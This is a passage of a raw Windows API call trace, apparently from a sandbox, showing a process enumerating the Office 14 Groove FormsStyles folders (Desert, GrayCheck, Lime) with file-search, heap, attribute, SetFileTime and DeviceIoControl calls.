Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.829] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.829] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0078.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c76d8 [0078.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac26b0 [0078.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11ccfe8 [0078.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.830] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac26d0 [0078.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11cd0f0 [0078.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4780) returned 0xacb2b8 [0078.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.831] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac26f0 [0078.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11cd1f8 [0078.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.832] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.832] GetLastError () returned 0x12 [0078.832] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9140 [0078.832] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.832] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.832] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0078.832] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.832] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.832] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.832] GetLastError () returned 0x12 [0078.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c77e0) returned 1 [0078.832] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c76d8) returned 1 [0078.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.833] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x977, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.css", cAlternateFileName="")) returned 1 [0078.833] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51e3fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="Earthy.css", cAlternateFileName="")) returned 1 [0078.833] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck", cAlternateFileName="")) returned 1 [0078.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.833] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.833] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11c8048 [0078.833] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11c8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x11c8048, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.834] NtClose (Handle=0x170) returned 0x0 [0078.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c76d8 [0078.834] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9140 [0078.834] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.834] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0078.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c77e0 [0078.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2710 [0078.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11cd300 [0078.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.835] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2730 [0078.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11cd408 [0078.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.836] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2750 [0078.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11cd510 [0078.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.837] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.837] GetLastError () returned 0x12 [0078.837] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.837] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.837] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.837] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0078.837] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.837] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.837] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.838] GetLastError () returned 0x12 [0078.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c76d8) returned 1 [0078.838] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c77e0) returned 1 [0078.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.838] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xaf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck.css", cAlternateFileName="")) returned 1 [0078.838] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenTea.css", cAlternateFileName="")) returned 1 [0078.838] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x411, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightSpirit.css", cAlternateFileName="")) returned 1 [0078.838] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime", cAlternateFileName="")) returned 1 [0078.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.838] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0078.839] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11c8048 [0078.839] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, 